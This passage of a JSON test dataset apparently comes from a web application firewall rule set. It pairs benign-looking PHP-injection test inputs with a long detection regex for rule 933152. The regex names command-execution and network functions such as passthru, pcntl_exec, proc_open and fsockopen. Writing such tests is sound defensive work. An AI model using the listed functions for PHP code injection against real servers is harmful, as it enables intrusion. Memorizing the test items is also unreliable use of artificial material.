"malicious_payload": [ { "location": "uri_params", "value": "foo=mb_stristr" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "No parenthesis after keyword" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=openlogfile(foo)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?:_last_error|priority)|rfork|s(?:etpriority|ig(?:nal(?:_(?:dispatch|get_handler))?|procmask|timedwait|waitinfo)|trerror)|unshare|w(?:ait(?:pid)?|exitstatus|if(?:continu|exit|s(?:ignal|topp))ed|(?:stop|term)sig)))|do_drivers|fsockopen|g_(?:(?:affected_row|num_(?:field|row)|option)s|c(?:ancel_query|l(?:ient_encoding|ose)|o(?:n(?:nect(?:_poll|ion_(?:busy|reset|status))?|(?:sume_inpu|ver)t)|py_(?:from|to)))|d(?:bnam|elet)e|e(?:n(?:d_copy|ter_pipeline_mode)|scape_(?:bytea|identifier|literal|string)|x(?:ecut|it_pipeline_mod)e)|f(?:etch_(?:a(?:ll(?:_columns)?|rray|ssoc)|object|r(?:esult|ow))|ield(?:_(?:is_null|n(?:ame|um)|prtlen|size|t(?:able|ype(?:_oid)?))|isnull|prtlen)|lush|ree_result)|get_(?:notify|pid|result)|(?:hos|inser)t|l(?:ast_(?:error|notice|oid)|o_(?:(?:c(?:los|reat)|writ)e|(?:ex|im)port|open|read(?:_all)?|(?:see|unlin)k|t(?:ell|runcate)))|meta_data|p(?:arameter_status|(?:connec|or)t|i(?:ng|peline_s(?:tatus|ync))|(?:repar|ut_lin)e)|query(?:_params)?|result_(?:error(?:_field)?|s(?:eek|tatus))|s(?:e(?:lect|nd_(?:(?:execut|prepar)e|query(?:_params)?)|t_(?:client_encoding|error_(?:context_visibil|verbos)ity))|ocket)|t(?:ra(?:ce|nsaction_status)|ty)|u(?:n(?:escape_bytea|trace)|pdate)|version)|hp(?:_(?:ini_(?:loaded_file|scanned_files)|(?:s(?:api_nam|trip_whitespac)|unam)e)|credits|dbg_(?:break_(?:f(?:ile|unction)|method|next)|c(?:lea|olo)r|e(?:nd_oplog|xec)|get_executable|prompt|start_oplog)|info|version)|osix_(?:e?access|ctermid|f?pathconf|get(?:_last_error|(?:cw|(?:e[gu]|[su])i)d|g(?:id|r(?:gid|nam|oups))|login|p(?:g(?:id|rp)|p?id|w(?:nam|uid))|rlimit)|i(?:nitgroups|satty)|kill|mk(?:fifo|nod)|s(?:et(?:(?:e[gu]|p?g|[su])id|rlimit)|trerror|ysconf)|t(?:imes|tyname)|uname)|r(?:eg_(?:filter|grep|last_error(?:_msg)?|match_all|quote|replace_callback(?:_array)?|split)|o(?:c_(?:(?:clos|nic|terminat)e|get_status|open)|perty_exists))|spell_(?:add_to_(?:personal|session)|c(?:heck|lear_session|onfig_(?:(?:creat|ignor|mod)e|d(?:ata|ict)_dir|(?:persona|save_rep)l|r(?:epl|untogether)))|new(?:_(?:config|personal))?|s(?:(?:ave_wordli|ugge)s|tore_replacemen)t)|utenv)|quote(?:d_printable_(?:de|en)code|meta))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933152", "test_description": "rule should not trigger when there are other words before parenthesis (`openlog` should not be matched)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=preview" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:kr?sort|l(?:c(?:first|g_value|h(?:grp|own))|dap_(?:8859_to_t61|(?:ad|bin)d(?:_ext)?|co(?:mpare|nnect(?:_wallet)?|unt_(?:entri|referenc)es)|d(?:elete(?:_ext)?|n2ufn)|e(?:rr(?:(?:2st|o)r|no)|scape|x(?:op(?:_(?:passwd|refresh|sync|whoami))?|plode_dn))|f(?:irst_(?:(?:attribut|referenc)e|entry)|ree_result)|get_(?:(?:attribut|entri)es|(?:d|optio|values_le)n)|list|mod(?:_(?:add|del|replace)(?:_ext)?|ify_batch)|next_(?:(?:attribut|referenc)e|entry)|parse_(?:exop|re(?:ference|sult))|re(?:ad|name(?:_ext)?)|s(?:asl_bind|e(?:arch|t_(?:option|rebind_proc))|tart_tls)|t61_to_8859|unbind)|evenshtein|i(?:bxml_(?:(?:clear|use_internal)_errors|disable_entity_loader|get_(?:e(?:rrors|xternal_entity_loader)|last_error)|set_(?:external_entity_loader|streams_context))|nkinfo|tespeed_(?:finish_request|re(?:quest|sponse)_headers))|o(?:cal(?:e(?:_(?:(?:accept_from_htt|looku)p|(?:c(?:anonicaliz|ompos)|pars)e|filter_matches|get_(?:(?:all_variant|keyword)s|d(?:efault|isplay_(?:(?:languag|nam)e|region|(?:scrip|varian)t))|primary_language|region|script)|set_default)|conv)|time)|g1[0p]|ng2ip)|stat|trim)|m(?:b_(?:c(?:h(?:eck_encoding|r)|onvert_(?:case|encoding|kana|variables))|de(?:code_(?:mimeheader|numericentity)|tect_(?:encoding|order))|e(?:ncod(?:e_(?:mimeheader|numericentity)|ing_aliases)|reg(?:_(?:match|replace(?:_callback)?|search(?:_(?:(?:get(?:po|reg)|(?:set)?po|reg)s|init))?)|i(?:_replace)?)?)|get_info|http_(?:in|out)put|internal_encoding|l(?:anguage|ist_encodings)|o(?:rd|utput_handler)|p(?:arse_str|referred_mime_name)|regex_(?:encoding|set_options)|s(?:crub|end_mail|plit|tr(?:_(?:pad|split)|cut|i(?:mwidth|pos|str)|len|pos|r(?:chr|i(?:chr|pos)|pos)|(?:st|to(?:low|upp)e)r|width)|ubst(?:itute_character|r(?:_count)?)))|(?:(?:d5|ove_uploaded)_fil|e(?:mory_(?:get_(?:peak_)?|reset_peak_)usag|taphon)|i(?:crotim|me_content_typ))e|hash(?:_(?:count|get_(?:block_siz|hash_nam)e|keygen_s2k))?|k(?:dir|time)|sg(?:_(?:(?:get_queu|re(?:ceiv|move_queu))e|queue_exists|s(?:e(?:nd|t_queue)|tat_queue))|fmt_(?:create|(?:format|parse)(?:_message)?|get_(?:(?:error_(?:cod|messag)|local)e|pattern)|set_pattern))|t_(?:getrandmax|s?rand)|ysqli_(?:a(?:ffected_rows|utocommit)|begin_transaction|c(?:ha(?:nge_user|racter_set_name)|lose|o(?:mmit|nnect(?:_err(?:no|or))?))|d(?:ata_seek|ebug|ump_debug_info)|e(?:rr(?:no|or(?:_list)?)|xecute_query)|f(?:etch_(?:a(?:ll|rray|ssoc)|column|field(?:_direct|s)?|lengths|object|row)|ield_(?:count|seek|tell)|ree_result)|get_(?:c(?:harset|lient_(?:info|stats|version)|onnection_stats)|(?:host|proto)_info|(?:links_stat|warning)s|server_(?:info|version))|in(?:fo|it|sert_id)|kill|m(?:ore_results|ulti_query)|n(?:ext_result|um_(?:field|row)s)|options|p(?:ing|oll|repare)|query|r(?:e(?:a(?:l_(?:connect|escape_string|query)|p_async_query)|fresh|(?:lease_savepoin|por)t)|ollback)|s(?:(?:avepoin|sl_se)t|e(?:lect_db|t_charset)|qlstate|t(?:(?:a|ore_resul)t|mt_(?:a(?:ffected_rows|ttr_[gs]et)|bind_(?:param|result)|close|data_seek|e(?:rr(?:no|or(?:_list)?)|xecute)|f(?:etch|(?:ield_coun|ree_resul)t)|get_(?:result|warnings)|in(?:it|sert_id)|more_results|n(?:ext_result|um_rows)|p(?:aram_count|repare)|res(?:et|ult_metadata)|s(?:end_long_data|qlstate|tore_result))))|thread_(?:id|safe)|(?:use_resul|warning_coun)t))|n(?:(?:at(?:case)?sor|gettex)t|et_get_interfaces|l(?:2br|_langinfo)|ormalizer_(?:get_raw_decomposition|is_normalized|normalize)|umfmt_(?:create|(?:format|parse)(?:_currency)?|get_(?:(?:(?:text_)?attribut|error_(?:cod|messag)|local)e|pattern|symbol)|set_(?:(?:text_)?attribute|pattern|symbol)))|o(?:b_(?:clean|end_(?:clean|flush)|(?:implicit_)?flush|g(?:et_(?:c(?:lean|ontents)|flush|le(?:ngth|vel)|status)|zhandler)|list_handlers)|c(?:i(?:_(?:(?:bind_(?:array_)?|define_)by_name|c(?:ancel|l(?:ient_version|ose)|o(?:llection_(?:a(?:ppend|ssign)|element_(?:assign|get)|max|size|trim)|(?:mmi|nnec)t))|e(?:rror|xecute)|f(?:etch(?:_(?:a(?:ll|rray|ssoc)|object|row))?|ield_(?:is_null|(?:nam|s(?:cal|iz))e|precision|type(?:_raw)?)|ree_(?:collection|descriptor|statement))|get_implicit_resultset|lob_(?:(?:appen|loa|re(?:a|win))d|copy|e(?:of|rase|xport)|flush|i(?:mport|s_equal)|s(?:(?:av|iz)e|eek)|t(?:ell|runcate)|write)|n(?:ew_(?:c(?:o(?:llection|nnect)|ursor)|descriptor)|um_(?:field|row)s)|p(?:a(?:rs|ssword_chang)e|connect)|r(?:e(?:gister_taf_callback|sult)|ollback)|s(?:e(?:rver_version|t_(?:(?:ac|db_opera|edi)tion|c(?:all_timeout|lient_i(?:dentifier|nfo))|module_name|prefetch(?:_lob)?))|tatement_type)|unregister_taf_callback)|fetchinto|[gs]etbufferinglob)|tdec)|dbc_(?:autocommit|(?:binmod|data_sourc)e|c(?:lose(?:_all)?|o(?:lumn(?:privilege)?s|mmit|nnect(?:ion_string_(?:is_quoted|(?:should_)?quote))?)|ursor)|e(?:rror(?:msg)?|xec(?:ute)?)|f(?:etch_(?:array|into|object|row)|ield_(?:len|n(?:ame|um)|(?:scal|typ)e)|oreignkeys|ree_result)|gettypeinfo|longreadlen|n(?:ext_result|um_(?:field|row)s)|p(?:connect|r(?:epare|(?:imarykey|ocedure(?:column)?)s))|r(?:esult(?:_all)?|ollback)|s(?:etoption|(?:pecialcolumn|tatistic)s)|table(?:privilege)?s)|p(?:cache_(?:compile_file|get_(?:configuration|status)|i(?:nvalidate|s_script_cached)|reset)|en(?:dir|log|ssl_(?:c(?:ipher_(?:iv|key)_length|ms_(?:(?:de|en)crypt|read|sign|verify)|sr_(?:export(?:_to_file)?|get_(?:public_key|subject)|new|sign))|d(?:(?:ecryp|iges)t|h_compute_key)|e(?:ncrypt|rror_string)|(?:get_(?:c(?:ert_location|ipher_method|urve_name)|md_method)|random_pseudo_byte)s|open|p(?:bkdf2|k(?:cs(?:12_(?:export(?:_to_file)?|read)|7_(?:(?:de|en)crypt|read|sign|verify))|ey_(?:(?:deriv|fre)e|export(?:_to_file)?|get_(?:details|p(?:rivate|ublic))|new))|(?:rivate|ublic)_(?:de|en)crypt)|s(?:eal|ign|pki_(?:export(?:_challenge)?|new|verify))|verify|x509_(?:check(?:_private_key|purpose)|export(?:_to_file)?|f(?:ingerprint|ree)|parse|read|verify))))|utput_(?:add_rewrite_var|reset_rewrite_vars))|p(?:a(?:rse_(?:ini_(?:file|string)|str)|ss(?:thru|word_(?:algos|get_info|(?:needs_re)?hash|verify))|thinfo)|c(?:lose|ntl_(?:a(?:larm|sync_signals)|exec|forkx?|get(?